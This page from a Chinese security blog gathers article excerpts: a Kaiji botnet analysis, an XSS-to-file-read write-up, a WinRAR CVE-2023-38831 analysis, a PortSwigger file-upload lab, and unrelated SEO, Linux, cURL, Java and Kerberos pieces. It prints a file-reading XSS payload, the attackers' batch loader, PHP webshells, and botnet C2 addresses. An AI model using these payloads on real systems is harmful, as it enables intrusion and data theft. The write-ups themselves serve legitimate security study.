发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担! 如侵权请私聊我们删文...
-
断剑重铸?Kaiji僵尸网络正在重新构建
概述 近日深信服威胁情报研究团队捕获到Kaiji僵尸网络的最新变种。该病毒最早在2020年出现,使用多种危害较高的漏洞发起攻击,试图感染服务器和物联网设备,能够发起分布式拒绝服务(DDoS)攻击。与其他IoT僵尸网络不同的是,Kaiji并没有从其他(开源或黑市论坛获取)成熟的恶意软件家族中直接套用攻击代码。 Kaiji僵尸网络病毒在最新的版本中发生了非常大的改动,采用最新的Golang1.18版本进行病毒程序编写(老版本采用Golang1.15版本),大大增加了安全人员分析和调试该病毒的难度,同时也进一步证实了越来越多的病毒开发者使用Golang语言的趋势。 Kaiji僵尸网络相对老版本代码被重构,函数功能更加聚焦,函数名不再采用中式拼音命名。最新的版本驻留功能非常强大,增加了多种持久化手段,但是传播模块相对较弱,这里猜测一下,作者正在逐渐更新功能模块,该病毒很可能会随着时间的推移进一步变得更加复杂,未来Kaiji或许会成为一款强大的僵尸网络。 Kaiji僵尸网络的整体攻击流程如下 情报分析 捕获的Kaiji僵尸网络主要使用多种高危RCE漏洞(GitLab未授权访问漏洞(CVE-2021-22205)和Atlassian Confluence OGNL注入漏洞(CVE-2021-26084))利用作为初始攻击。一旦病毒入侵了服务器或物联网设备,Kaiji僵尸网络就可以在其团伙的指挥下发动DDoS攻击。 当前版本的Kaiji持久化模块非常强大,使用超过8种驻留手段进行持久化。Kaiji僵尸网络还会窃取本地SSH密钥,并进一步发起SSH爆破攻击以感染互联网上其他暴露的设备。 Kaiji运行后,若检测自身文件名为dir、find、ls、lsof、netstat、ps、ss之一,则会伪装执行相应命令,复制自身到/tmp/seeintlog后运行。随后会将自身复制到/etc/id.services.conf: 生成shell脚本/etc/32678(传播模块为32679),定时执行/etc/id.services.conf: /etc/id.services.conf运行后,会创建协程,执行main_Link、main_Watchdog、main_Initetc、main_addtime、main_Killcpu。 通信模块[main_Link函数] 通信模块执行时,与C2服务器103.138.80.90:1111、dark1998.f3322.org:8080、156.96.156.105:8080进行通信,发送上线信息后,由main_receive函数等待接收并执行ipbegin、ipend、finish、unload、shell、reverse、remarks、http、ipspoof、tcp、udp、syn、tap等命令,包含执行shell命令、卸载自身、发动DDoS攻击等功能。 传播模块[main_Sshboom函数] 在老版本的Kaiji僵尸网络会窃取本地SSH密钥,进一步发起SSH爆破攻击,爆破成功后会下载执行相应CPU架构的驻留模块,例如:103.138.80.90:808/808/linux_amd64、linux_arm64、linux_mips。最新版本的Kaiji僵尸网络缺少传播模块功能,这里猜测作者正在逐一优化功能模块。 持久化模块[main_Initetc函数] 通过修改/etc/rc.local、/etc/rc.d/rc.local、/etc/init.d/boot.local文件实现自启动 利用chkconfig工具添加linux_kill服务,实现自启动 注册linux.service 安装SELinux策略模块 修改/etc/profile.d/bash_config.sh复制自身到/usr/lib/libdlrpcld.so添加定时任务,每隔一分钟执行/.img 替换dir、find、ls、lsof、netstat、ps、ss七个工具 尝试将自身进程名伪装为ksoftirqd/0 小结 Kaiji僵尸网络作者采用最新的Golang1.18版本重构,大幅更新持久化模块,整体复杂度也相比老版本明显增加。可以发现Kaiji正处于前中期发展的僵尸网络,未来作者可能在攻击模块和横向传播模块上进行更新迭代,从而导致Kaiji进一步变得复杂。 此外,鉴于Golang语言的跨平台等特点,近年来将其作为编程语言编码的恶意软件数量急剧增加,Kaiji僵尸网络也进一步证实了使用Golang语言开发恶意软件已成为一种趋势。 参考链接 https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/ ...
-
网站快速提升百度权重的4个方法
在互联网上,网站的权重和排名很大程度上决定了它的曝光率和流量。如果你是一个新手站长,或者你的网站权重不高,那么接下来的这篇文章将会为你提供一些实用的技巧,帮助你在三个月内提升网站权重到5。 1. 优化关键词 首先,你需要找到一些与你网站内容相关的高搜索量、低竞争的关键词。你可以使用一些关键词研究工具,如Google关键词规划师,来帮助你找到这些关键词。然后,你需要在你的网站上合理地布局这些关键词,包括在标题、描述、URL和内容中。但是,一定要注意避免过度优化,否则可能会被搜索引擎视为作弊。 2. 提高网站质量 除了关键词之外,网站的质量也是影响权重的一个重要因素。这包括网站的加载速度、用户体验、移动友好性等。你可以通过使用CDN、优化图片大小、减少HTTP请求等方式来提高网站的加载速度。同时,你也需要确保你的网站易于导航,无论用户使用的是电脑还是手机。 3. 建立高质量的外部链接 外链是另一个影响网站权重的重要因素。你可以通过写高质量的原创内容来吸引其他网站的链接。同时,你也可以参与一些行业论坛或社交媒体平台,分享你的知识和观点,从而吸引更多的外链。但是,记住不要过度追求外链的数量,质量才是最重要的。 4. 持续更新和优化 最后,持续更新和优化你的网站是非常重要的。你需要定期发布新的内容,以保持用户的访问量和搜索引擎的索引。同时,你也需要根据用户的反馈和搜索引擎的算法变化,不断调整和优化你的网站。...
-
Linux系统如何创建用户并为其设置密码
根据下列要求创建用户及组账号: 1、名为admins的组 2、用户harry,其附属组为admins 3、用户natasha,其附属组还属于admins 4、用户alice,没有可交互的登录Shell,且不属于admins组 5、harry、natasha、alice的密码都应该是redhat [root@bunian ~]# groupadd admins #创建admins组 [root@bunian ~]# useradd -G admins harry #创建用户harry并设置其附属组为admins [root@bunian ~]# useradd -G admins natasha #创建用户natasha并设置其附属组为admins [root@bunian ~]# useradd -s /sbin/nologin alice #创建用户alice,设置不可交互的登录shell,不为其指定admins组 要求5的命令如下 [root@bunian ~]# echo redhat |passwd --stdin harry #为harry设置密码为redhat Changing password for user harry. passwd: all authentication tokens updated successfully. [root@bunian ~]# echo redhat |passwd --stdin natasha #为natasha设置密码为redhat Changing password for user natasha. passwd: all authentication tokens updated successfully. [root@bunian ~]# echo redhat |passwd --stdin alice #为alice设置密码为redhat Changing password for user alice. passwd: all authentication tokens updated successfully. </div> ...
-
在Linux中如何将cURL输出保存到文件?
当你需要将cURL的输出保存到文件时,Linux提供了几种不同的方法。 cURL是一个功能强大的命令行工具,用于在网络上传输数据,通常用于HTTP请求。 在本文中,我们将探讨如何使用cURL将其输出保存到文件,以及一些附加的选项和技巧。 安装cURL 在介绍如何使用cURL将输出保存到文件之前,确保已安装cURL是非常关键的。下面是如何安装cURL的指南,具体取决于您所使用的Linux发行版: Ubuntu/Debian sudo apt install curl Fedora/RHEL sudo dnf install curl Arch Linux sudo pacman -S curl 使用重定向操作符 最简单的方法是使用重定向操作符>或>>来将cURL的输出保存到文件中。>将覆盖文件内容,而>>将追加到文件末尾。 curl -o output.txt URL 这将下载URL的内容并将其保存到名为output.txt的文件中。如果output.txt不存在,它将被创建;如果已经存在,它将被覆盖。 curl -o output.txt URL 这将下载URL的内容并将其追加到名为output.txt的文件末尾。 例如,我们将访问百度的域名: curl -o output.txt https://www.baidu.com 使用-c选项保存Cookie 有时,你可能需要保存cURL请求的Cookie信息。你可以使用-c选项将Cookie保存到一个文件中,然后使用-b选项加载Cookie信息。 curl -c cookies.txt URL 这将保存从URL获取的Cookie信息到名为cookies.txt的文件中。然后,你可以使用-b选项来加载Cookie信息: curl -b cookies.txt URL 例如,我们将访问百度的域名: curl -b cookies.txt https://www.baidu.com 保存HTTP头信息 如果你想保存HTTP响应头信息,可以使用-i选项将它们保存到文件中: curl -i -o output.txt URL 这将把HTTP响应头信息保存到output.txt中。 例如,我们将访问百度的域名: curl -i -o output.txt https://www.baidu.com 同时保存输出和错误信息 有时,你可能希望将cURL的输出和错误信息保存到不同的文件中。你可以使用2>操作符来将错误信息重定向到一个文件: curl -o output.txt URL 2> error.txt 这将下载URL的内容并将正常输出保存到output.txt,将错误信息保存到error.txt。 保存到特定目录 如果你想将文件保存到特定目录,可以在文件名中包含目录路径: curl -o /path/to/directory/output.txt URL 这将下载URL的内容并将其保存到/path/to/directory/目录下的output.txt文件中。 例如,我们将访问百度的域名,并将结果保存至/tmp/test/baidu/output.txt: curl -o /tmp/test/baidu/output.txt https://www.baidu.com 注意:在保存至特定目录,一定要先保证该目录存在! 使用-w选项自定义输出格式 使用-w选项,你可以自定义cURL的输出格式。例如,你可以只保存响应的HTTP状态码: curl -o output.txt -w "%{http_code}" URL 这将下载URL的内容并将HTTP状态码保存到output.txt中。 例如,我们将访问百度的域名: curl -o output.txt -w "%{http_code}" https://www.baidu.com 使用 cURL 命令保存多个文件 -o选项可以用于为每个链接指定一个输出文件名,这对于批量下载文件非常方便。 以下是示例用法: curl https://link-1.com https://link-2.com https://link-3.com -o File1 -o File2 -o File3 在这个示例中,cURL会从三个不同的链接下载文件,并将它们分别保存为File1、File2和File3。 这对于下载多个文件非常有用,特别是在需要自动化下载任务时。 例如: curl https://www.baidu.com https://www.baidu.com https://www.baidu.com -o File1 -o File2 -o File3 总结 这些是在Linux中使用cURL将输出保存到文件的一些常见方法和技巧。 你可以根据你的需求选择最合适的方法,希望这篇文章对你有所帮助! 如果你有任何问题或需要更多信息,请随时提问。 ...
-
记一次从xss到任意文件读取
0x00 前言 xss一直是一种非常常见且具有威胁性的攻击方式。然而,除了可能导致用户受到恶意脚本的攻击外,xss在特定条件下还会造成ssrf和文件读取。 本文主要讲述在一次漏洞挖掘过程中从xss到文件读取的过程,以及其造成的成因。 0x01 漏洞详细 1. XSS 漏洞所在的是一个可以在线编辑简历并导出的一个网站。 首先注册账号后进去,任意选一个模板在线编辑,在编辑简历时插入payload测试 发现被转义了,我们手动修改回去 刷新简历可以看到成功弹窗,证明存在存储型xss 然后使用<h1>标签测试,可以发现h1标签也会被解析 然后我们发现,网站有一个功能可以把简历转成pdf并下载,而在线编辑的是html格式,而且这一转换过程是在后端完成,并且导出的pdf中标签依然是被解析的,如下图所示,导出的pdf中上方的字体也明显变大,说明h1标签被解析 2. SSRF 通过过滤网络请求我们发现这样一个数据包,它将html及里面包含的js代码会发送给后端,后端可能通过渲染html代码从而生成pdf供用户下载 </p> 那后端是如何将html渲染成pdf,执行html中的js呢? 一般可以通过获取后端解析的组件及版本来获取更多信息,从下载的pdf中,可以文件的头部信息可以获取创建者或者pdf文件信息 </p> 可以发现后端使用的wkhtmltopdf组件 wkhtmltopdf官方文档: https://wkhtmltopdf.org/index.html 在他的使用文档中发现其使用 Qt WebKit 浏览器引擎将html渲染成pdf,既然是通过浏览器渲染的,那html中的所有标签也会被浏览器所执行。 所以我们使用 iframe 标签尝试读取内网资源 <iframe src="http://127.0.0.1" width="500" height="100"> </p> 可以看到虽然是403,但是确实是能读取成功的。 </p> 3. 任意文件读取 我们尝试是否能通过请求file协议读取文件 javascript 将在服务器端执行,让我们尝试通过注入以下 javascript 从文件系统中获取文件,然后构造payload进行文件的读取: <script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open('GET','file:///etc/passwd');x.send();</script> 通过XMLHttpRequest发起请求,使用file协议读取本地文件,然后document.write将请求的结果覆盖原来html的内容。 </p> 访问pdf,成功读取到文件 </p> 0x03 漏洞成因及修复 所里这里有一个疑问,为什么js会导致本地任意文件读取,如果真是这样的话那我们每个用户在浏览有js的网页时都会造成本地信息泄露? </p> 其实我们在使用浏览器访问网页并加载js时,浏览器有一套安全机制,使用XMLHttpRequest对象读取本地文件在Web浏览器中是受限的,因为出于安全考虑,浏览器限制了通过XMLHttpRequest对象直接访问本地文件系统。 </p> 如上图所致直接在浏览器执行这段payload会被提示 Not allowed to load local resource </p> </p> 前面我们提到后端将html转换为pdf的组件是 wkhtmltopdf,他使用无头运行的Qt WebKit浏览器引擎,但是浏览器默认参数是使用 --enable-local-file-access,即允许访问本地文件,这就是导致可以使用 file 协议进行任意文件的问题。 --disable-local-file-access 不允许一个本地文件加载其他的本地文件,使用命令行参数 --allow 指定的目录除外。--enable-local-file-access 与--disable-local-file-access相反(这是默认设置)--allow 允许加载指定文件夹中的一个或多个文件 同时wkhtmltopdf官方文档中也说明了不要将 wkhtmltopdf 与任何不受信任的 HTML 一起使用 </p> 即使使用了 --disable-local-file-access,攻击者也可以利用预构建二进制文件中的 CVE 的攻击者可能能够绕过此设置。 文章来源:奇安信攻防社区(Duck)原文地址:https://forum.butian.net/share/2409...
-
WinRAR再爆0 day漏洞
WinRAR再爆0 day漏洞,已被利用超过4个月。 Winrar是一款免费的主流压缩文件解压软件,支持绝大部分压缩文件格式的解压,全球用户量超过5亿。Group-IB研究人员在分析DarkMe恶意软件时发现WinRAR在处理ZIP文件格式时的一个漏洞,漏洞CVE编号为CVE-2023-38831。攻击者利用该漏洞可以创建欺骗性扩展的诱饵文件来隐藏恶意脚本,即将恶意脚本隐藏在伪装为.jpg、.txt和其他文件格式的压缩文件中,并窃取用户加密货币账户。 研究人员在分析DarkMe恶意软件时发现了一些可疑的ZIP文件。Group-IB在8个加密货币交易的主流论坛上发现了这些恶意ZIP文件,如图1所示: 图1. 交易论坛发布的帖子 CVE-2023-38831漏洞序列图如图2所示: 图2. CVE-2023-38831漏洞序列图 所有压缩文件都是用同一方法创建的,结构相同,包括一个诱饵文件和一个包含恶意文件和未使用文件的文件夹。当用户打开恶意压缩文件后,受害者机会看到一个图像文件和一个相同文件名的文件夹,如图3所示。 图3. 恶意zip文件示例 如果受害者打开伪装为图像的诱饵文件,恶意脚本就会执行攻击的下一阶段,如图4所示: 图4. 攻击流程图 脚本的主要作用是进入攻击的下一阶段,这是通过运行最小化窗口来完成的。然后搜索两个特定文件“Screenshot_05-04-2023.jpg”和 “Images.ico”。JPG文件是受害者打开的图像,“Images.ico”是用来提取和启动新文件的SFX CAB压缩文件。恶意脚本示例如下: @echo off if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit cd %TEMP% for /F "delims=" %%K in ('dir /b /s "Screenshot_05-04-2023.jpg"') do for /F "delims=" %%G in ('dir /b /s "Images.ico"') do WMIC process call create "%%~G" && "%%~K" && cd %CD% && exit Exit 为了解漏洞工作原理,研究人员创建了2个与发现的恶意压缩文件结构相同的压缩文件。两个文件都包含图像文件,其中一个压缩文件中还包含一个存储脚本的内部文件夹,可以触发消息展示框。然后,研究人员修改了其中一个文件使其与恶意压缩文件一样。然后,比较WinRAR在解压不同压缩文件时的区别。 研究人员主要想确定在打开解压文件时会在%TEMP%/%RARTMPDIR%文件夹中创建什么文件。在原始的zip文件中,只会创建image.jpg文件。在恶意文件zip文件中,其中的文件夹内容也会被提取。 图5. 不同zip文件解压比较 也就是说,攻击发生在WinRAR尝试打开用户想要访问的文件时。ShellExecute函数接收到了打开文件的错误参数。图像文件名与搜索不匹配,引发其被跳过。然后就发现了批处理文件,并执行。 图6 漏洞复现 8月15日该漏洞被分配了CVE编号,但该漏洞从2023年4月开始就被在野利用。研究人员建议WinRAR用户更新到最新的v 6.23版本。 参考及来源:https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/...
-
Java static关键字 – 变量、方法、块、类和导入语句
文章目录 1. 静态变量 2. 静态方法 3. 静态导入语句 4.静态代码块 5. 静态内部类 六、总结 Java中的static关键字可以应用于变量、方法、块、导入和内部类。在本教程中,我们将通过示例来了解在这些地方使用static关键字的效果。 1. 静态变量 要声明变量为静态,请在变量声明中使用static关键字。静态变量语法为: 访问修饰符 static 数据类型 变量名; 例如,Integer类型的公共静态变量就是这样声明的。 public static Integer staticVar; 静态变量最重要的是它们属于类级别。这意味着运行时变量只能有一份副本。 当您在类定义中定义静态变量时,类的每个实例都可以访问该单个副本。类的单独实例不会像非静态变量那样拥有自己的本地副本。 public class JavaStaticExample { public static void main(String[] args) { DataObject objOne = new DataObject(); objOne.staticVar = 10; objOne.nonStaticVar = 20; DataObject objTwo = new DataObject(); System.out.println(objTwo.staticVar); //10 System.out.println(objTwo.nonStaticVar); //null DataObject.staticVar = 30; //Direct Access System.out.println(objOne.staticVar); //30 System.out.println(objTwo.staticVar); //30 }} class DataObject { public static Integer staticVar; public Integer nonStaticVar;} 输出: 10 null 30 30 请注意我们如何将值更改为 30,两个对象现在都看到更新后的值 30。 您应该注意到的另一件事是我们如何能够使用其类名访问静态变量:DataObject.staticVar。我们不需要创建任何实例来访问static变量。它清楚地表明静态变量属于类范围。 2. 静态方法 要声明静态方法,请static在方法声明中使用关键字。静态方法语法为: 访问修饰符 static 返回值类型 方法名; 例如,返回Integer类型的公共静态变量就是这样声明的。 public static Integer staticVar; public static Integer getStaticVar(){ return staticVar;} 以下几个问题需要注意: 您只能访问静态方法内的静态变量。如果尝试访问任何非静态变量,将生成编译器错误,并显示消息“Cannot make a static reference to the non-static field nonStaticVar”。 静态方法可以通过其类引用来访问,并且不需要创建类的实例。尽管您也可以使用实例引用进行访问,但与通过类引用进行访问相比,它没有任何区别。 静态方法也属于类级别范围。 public class JavaStaticExample { public static void main(String[] args) { DataObject.staticVar = 30; //Direct Access Integer value1 = DataObject.getStaticVar(); //access with class reference DataObject objOne = new DataObject(); Integer value2 = objOne.getStaticVar(); //access with instance reference System.out.println(value1); System.out.println(value2); }} class DataObject{public Integer nonStaticVar;public static Integer staticVar; //static variable public static Integer getStaticVar(){ return staticVar; }} 输出: 30 30 3. 静态导入语句 普通的导入声明用于从包中导入类,以便可以在不使用包引用的情况下使用它们。类似地,静态导入声明用于从类中导入静态成员,并允许在不使用类引用的情况下使用它们。 静态导入语句也有两种形式:单个静态导入和静态导入所有成员。单个静态导入声明从一个类型中导入一个静态成员。静态导入所有成员声明导入一个类型的所有静态成员。 //Single-static-import declaration: import static <<package name>>.<<type name>>.<<static member name>>; //Static-import-on-demand declaration: import static <<package name>>.<<type name>>.*; 例如,System.out //Static import statement import static java.lang.System.out; public class JavaStaticExample{public static void main(String[] args){DataObject.staticVar = 30; out.println(DataObject.staticVar); //Static import statement example }}class DataObject{ public static Integer staticVar; //static variable} 输出: 30 4.静态代码块 静态代码块是类初始化代码的一部分,用static关键字包装起来。 public class Main { //static initializer static { System.out.println("Inside static initializer"); } } 当类被加载到内存中时,静态代码块就会被执行。一个类可以有多个静态块,这些静态块将按照它们在类定义中出现的顺序执行。 import static java.lang.System.out; class DataObject{public Integer nonStaticVar;public static Integer staticVar; //static variable //It will be executed firststatic {staticVar = 40;//nonStaticVar = 20; //Not possible to access non-static members} //It will be executed second static { out.println(staticVar); }} 输出: 40 5. 静态内部类 在Java中,你可以将一个类声明为静态内部类。就像其他静态成员一样,嵌套类与类的作用域相关联,因此可以在没有外部类对象的情况下访问内部静态类。 public class JavaStaticExample { public static void main(String[] args) { //Static inner class example System.out.println( DataObject.StaticInnerClas.innerStaticVar ); } } class DataObject { public Integer nonStaticVar; public static Integer staticVar; //static variable static class StaticInnerClas { Integer innerNonStaticVar = 60; static Integer innerStaticVar = 70; //static variable inside inner class }} 请注意,静态内部类无法访问外部类的非静态成员。它只能访问外部类的静态成员。 public class JavaStaticExample { public static void main(String[] args) { //Static inner class example DataObject.StaticInnerClas.accessOuterClass(); } } class DataObject { public Integer nonStaticVar; public static Integer staticVar; //static variable static {staticVar = 40;//nonStaticVar = 20; //Not possible to access non-static members} public static Integer getStaticVar(){return staticVar;} static class StaticInnerClas { public static void accessOuterClass() { System.out.println(DataObject.staticVar); //static variable of outer class System.out.println(DataObject.getStaticVar()); //static method of outer class } }} 输出: 40 六、总结 让我们总结一下Java中关于static关键字的用法 静态成员属于类。无需创建类实例即可访问静态成员。 静态成员(变量和方法)只能在静态方法和静态代码块内访问。 不能在静态方法、静态代码块和静态内部类内部访问非静态成员。 一个类可以有多个静态代码块,它们将按照它们在类定义中出现的顺序执行。 仅当一个类在外部类中声明为内部类时,它才可以是静态的。 静态导入可用于导入类中的所有静态成员。无需任何类引用即可引用这些成员。 ...
-
内网渗透:Kerberos认证协议安全性分析
前言 要想进行内网渗透,可以说必须了解kerberos协议,可以说这是一个基础,本文总结了kerberos的认证流程以及可能出现的攻击方式。 Kerberos认证 kerberos认证是什么? Kerberos 是一种由 MIT(麻省理工大学)提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证。 Kerberos一词来源于希腊神话——一条凶猛的三头保卫神犬,用这个名字可能意味保护认证过程中的安全。 同时,Kerberos 是一种基于加密 Ticket 的身份认证协议。 kerberos的组成部分 Kerberos 主要由三个部分组成:Key Distribution Center (即KDC)、Client 和 Service。如下图所示: 下面来看看每个部分具体的作用是什么 KDC:密钥分发中心,负责存储用户信息,管理发放票据,是Kerberos的核心部分。KDC默认是安装在域控中的。 由上图中可以看到 KDC 又分为两个部分: Authentication Server:AS 的作用就是验证 Client 端的身份(确定你是身份证上的本人),验证通过就会给一张 TGT(Ticket Granting Ticket)票给 Client。 Ticket Granting Server:TGS 的作用是通过 AS 发送给 Client 的票(TGT)换取访问 Server 端的票(上车的票 ST)。ST(ServiceTicket)也有资料称为 TGS Ticket,为了和 TGS 区分,在这里就用 ST 来说明。 KDC 服务框架中包含一个 KRBTGT 账户,它是在创建域时系统自动创建的一个账号,你可以暂时理解为他就是一个无法登陆的账号,在发放票据时会使用到它的密码 HASH 值。 client:想访问某个server的客户端,通常是域内主机。 server:提供某种业务的服务,如http,mysql等 域控内还存在AD,也就是活动目录,用于存储用户,用户组,域相关的信息。 kerberos的认证流程 从上图可以看出整个认证过程总共分成了6步,分为下面三个阶段。 AS_REQ & AS_REP TGS_REQ & TGS_REP AP-REQ & AP-REP 下面来详细看看各个阶段所完成的工作: AS_REQ 当域内的某个client想要访问某个服务时,输入用户名和密码,此时客户端本机的 Kerberos 服务会向 KDC 的 AS 认证服务发送一个AS_REQ认证请求 请求内容是:Client 的哈希值 NTLM-Hash 加密的时间戳以及 Client-info、Server-info 等数据,以及一些其他信息。 注意这里传递是用clinet的哈希值加密的内容,而不是传递了client的明文密码 AS_REP AS收到请求后,AS 会先向活动目录 AD 请求,询问是否有此 Client 用户,如果有的话,就会取出它的 NTLM-Hash,并对AS_REQ请求中加密的时间戳进行解密,如果解密成功,则证明客户端提供的密 ...
-
服务器端漏洞篇之文件上传漏洞专题
今天是之前梨子从来没发过的文件上传专题。 声明 该系列共三篇,26个专题(截止2023.8.10),其中有21个专题的大部分内容已于2021年7-9月首发于安全客,由于某些原因,该系列后续更新部分梨子打算转投Freebuf社区(下称"社区")。因后续更新部分的部分内容为这21个专题中的,故在转投社区时会将更新部分一并加入对应的专题中,所以会与发布于安全客的版本略有出入,会更完整,望周知。 本系列介绍 PortSwigger是信息安全从业者必备工具burpsuite的发行商,作为网络空间安全的领导者,他们为信息安全初学者提供了一个在线的网络安全学院(也称练兵场),在讲解相关漏洞的同时还配套了相关的在线靶场供初学者练习,本系列旨在以梨子这个初学者视角出发对学习该学院内容及靶场练习进行全程记录并为其他初学者提供学习参考,希望能对初学者们有所帮助。 梨子有话说 梨子也算是Web安全初学者,所以本系列文章中难免出现各种各样的低级错误,还请各位见谅,梨子创作本系列文章的初衷是觉得现在大部分的材料对漏洞原理的讲解都是模棱两可的,很多初学者看了很久依然是一知半解的,故希望本系列能够帮助初学者快速地掌握漏洞原理。 服务器端漏洞篇介绍 burp官方说他们建议初学者先看服务器漏洞篇,因为初学者只需要了解服务器端发生了什么就可以了 服务器端漏洞篇 - 文件上传漏洞专题 什么是文件上传漏洞? 文件上传漏洞就是在未经充分验证像文件名、类型、内容或大小时允许用户上传文件到文件系统。这就导致会有用户在一个简单的图片上传功能点在没有严格限制的情况下上传任意具有潜在危险的文件,甚至包括含有rce操作的脚本文件。 文件上传漏洞有什么影响? 文件上传漏洞的影响通常取决于以下两个因素: 网站未验证文件的哪个方面,比如大小、类型、内容等等 文件上传成功后有那些限制 最坏的情况就是,网站未验证文件的类型,并且允许将这类文件(如.jsp或.php)作为代码执行。这种情况下,攻击者可以悄悄地上传一个作为webshell功能的代码文件,从而授予它们服务器完全的控制权。如果网站未验证文件名,就可导致攻击者通过上传同名文件的方式轻而易举地覆盖关键文件。如果站点还存在目录穿越漏洞,攻击者甚至可以覆盖服务器上任意位置的任意文件。如果网站没有保证文件大小在阈值范围内,攻击者可发动DOS攻击并借此填满磁盘。 文件上传漏洞是如何产生的? 正常来讲,开发者不会对上传不进行任何限制,但是他们只是做了他们认为很强的限制。例如,开发者将危险的文件类型设置进黑名单,但是在检测文件扩展名的时候却忽略了解析差异。即使设置了黑名单,其实还是会忽略到很多危险的未知文件类型。有的情况下,站点仅通过验证属性的方式检测文件类型,这很容易通过burp抓包修改。这就产生了主机与目录之间的差异,从而被利用。 web服务器(中间件)是如何处理静态文件的请求的? 早些年,网站是完全由静态文件构成的,请求的路径与服务器上的文件目录是1:1对应的。但是随着技术的发展,网站越来越动态,用户请求的路径通常与文件系统没有直接关系,并且网站也在同时处理一些静态文件,如图表、图像之类的。网站处理静态文件的过程都是大致相同的,用户请求即返回对应的静态文件。有时候站点通过解析请求中的路径识别文件的扩展名。站点通常是通过将扩展名与MIME类型之间的预配置列表进行对比的方式确定文件的类型。后面会发生什么取决于文件类型和服务器的配置。 如果文件类型是不可执行的,如图像或html文件,服务器则只会在http响应中返回文件内容给客户端。 如果文件类型是可执行的,如php文件,并且服务器被配置为允许执行这种类型的文件,服务器会先根据请求中的头和参数分配变量,然后带入脚本运行,然后再将输出通过http响应发送给客户端。 如果文件类型是可执行的,但是服务器被配置为不执行这类文件,服务器一般会返回报错。不过有时候这些可执行文件的内容会以纯文本的形式发送给客户端,这就可能存在如泄漏源代码或其他敏感信息之类的风险。 利用不受限制的文件上传来部署webshell 从安全的角度看,最糟糕的情况就是网站允许用户上传动态脚本文件,如php、java或python文件并且还配置为将它们作为代码执行。这样我们部署webshell就非常容易了。如果成功上传了webshell,我们就可能完全控制服务器。这就意味着你可以读写任意文件、泄漏敏感数据,甚至可以利用服务器对内部基础设施及其他服务器发起攻击。例如,下面这行php代码可用于从服务器中读取任意文件: <?php echo file_get_contents('/path/to/target/file'); ?> 上传后,就会在响应中接收到目标文件的内容。一个更加通用的webshell可能长这样: <?php echo system($_GET['command']); ?> 然后我们通过传入不同的请求参数就可以执行任意命令: GET /example/exploit.php?command=id HTTP/1.1 配套靶场:通过上传webshell的rce 题目说有一个存在漏洞的图片上传点,并且它不会对上传的文件做任何限制。上传图片的功能点要用给的账号登进去。 我们发现它并没有限制上传文件的类型,所以我们直接上传一个txt,然后修改文件的内容,并且修改扩展名和文件类型。 <?php echo file_get_contents('/home/carlos/secret'); ?> 然后我们通过访问头像即可触发执行我们上传的php脚本,从而看到/home/carlos/secret中的答案 成功解题! 利用有缺陷的验证机制的文件上传 有缺陷的文件类型验证 当我们提交HTML表单时,浏览器通常会在一个content-type为application/x-www-form-url-encoded的POST请求中发送提供的数据。这种方式适用于发送如姓名、地址等简单文本,而不适合发送大量二进制数据,如图像文件或pdf文档。这种情况下,content-type为multipart/form-data就成为了首选。我们设想一个包含上传的图像、图像描述还有用户名字段的表单,它的请求包可能长这样: POST /images HTTP/1.1 Host: normal-website.com Content-Length: 12345 Content-Type: multipart/form-data; boundary=---------------- ...
-
如何在短时间内迅速增加网站反链数量?
反链是指其他网站链接到你的网站的链接,也被称为入站链接或反向链接。反链是网站SEO优化中非常重要的一部分,因为它可以提高网站的权威性和网站在搜索引擎中排名。那么,那如何增加反链数量呢?现帮你梳理如下: 要在短时间内迅速增加网站的反链,可以考虑以下几个方法: 1、内容质量优化:提供有价值、有吸引力的内容是吸引其他网站链接的关键。如果你提供有价值、高质量的内容,其他网站自然会愿意链接到你的网站。因此,要注重网站内容的质量和相关性,尽可能提供有价值的信息和资源。网站的内容可以包括文章、视频、图片等相关资料,要保持内容的更新和多样性,确保一个访客到通过搜索引擎进入到你的网站,阅读了你所更新的内容,具有一定的可读性,所以说定期发布新的原创内容尤为重要,可以吸引更多的访问者和链接。 2、社交媒体推广:积极利用社交媒体平台分享你的网站内容,并邀请用户积极参与。在社交媒体上分享你的网站链接,可以吸引更多的用户点击你的链接,并分享给他们的朋友和关注者。因此,要积极参与社交媒体,建立个人或公司的社交媒体账号,增加网站曝光度和链接数量。你可以在社交媒体上发布与网站相关的内容,包括文章、图片、视频等你网站的资料,吸引用户点击你的链接。 3、参与行业社区和论坛:主动参与相关行业的社区和论坛,发表一些高质量的帖子和评论,与其他人分享经验和网友们互动,也是增加反链数量的一种有效方式。在帖子中附加你的网站链接,以便其他用户访问。但请注意,不要进行过度的广泛宣传,而应以提供有价值的信息为主,过度带链接会引起网站进入沙盒状态。 4、宣传推广增加反链:可以通过广告、公关活动等方式宣传推广你的网站,让更多人知道你的网站,并链接到你的网站,当然这种成本较高,对于一些个人站长来说,并不是太适全。这种方式需要一定的时间、经费投入和策划,但可以带来更多的流量和反链。你可以通过社交媒体、搜索引擎营销、线下推广等方式宣传你的网站,吸引更多的用户和链接。 5、与其他网站建立友情链接:互相链接,也是增加反链数量的有效方式。但要注意,友情链接的质量较为重要。要选择老站,收录量较大站点与建立链接,避免与低质量或垃圾链接建立关联,否则会对网站SEO产生负面影响,老站本身在线时间较长,加之收录量大,受搜索引擎的更加信任,从而能辅助给目标站带来一定的信任值。 总结增加反链数量是网站SEO优化中非常重要的一部分。要注重网站内容的质量和原创图文并茂内容更新,积极参与社交媒体和相关论坛、博客等网站,宣传推广你的网站,并与其他网站建立友情链接,才能提高网站的权威性和更好的名次。同时,要注意反链的质量,避免与低质量或垃圾链接建立关联,否则会对网站SEO产生负面影响,对网站起不到较好的辅助拉升作用。...
-
谷歌浏览器怎么下载安装?(谷歌浏览器最新下载方法)
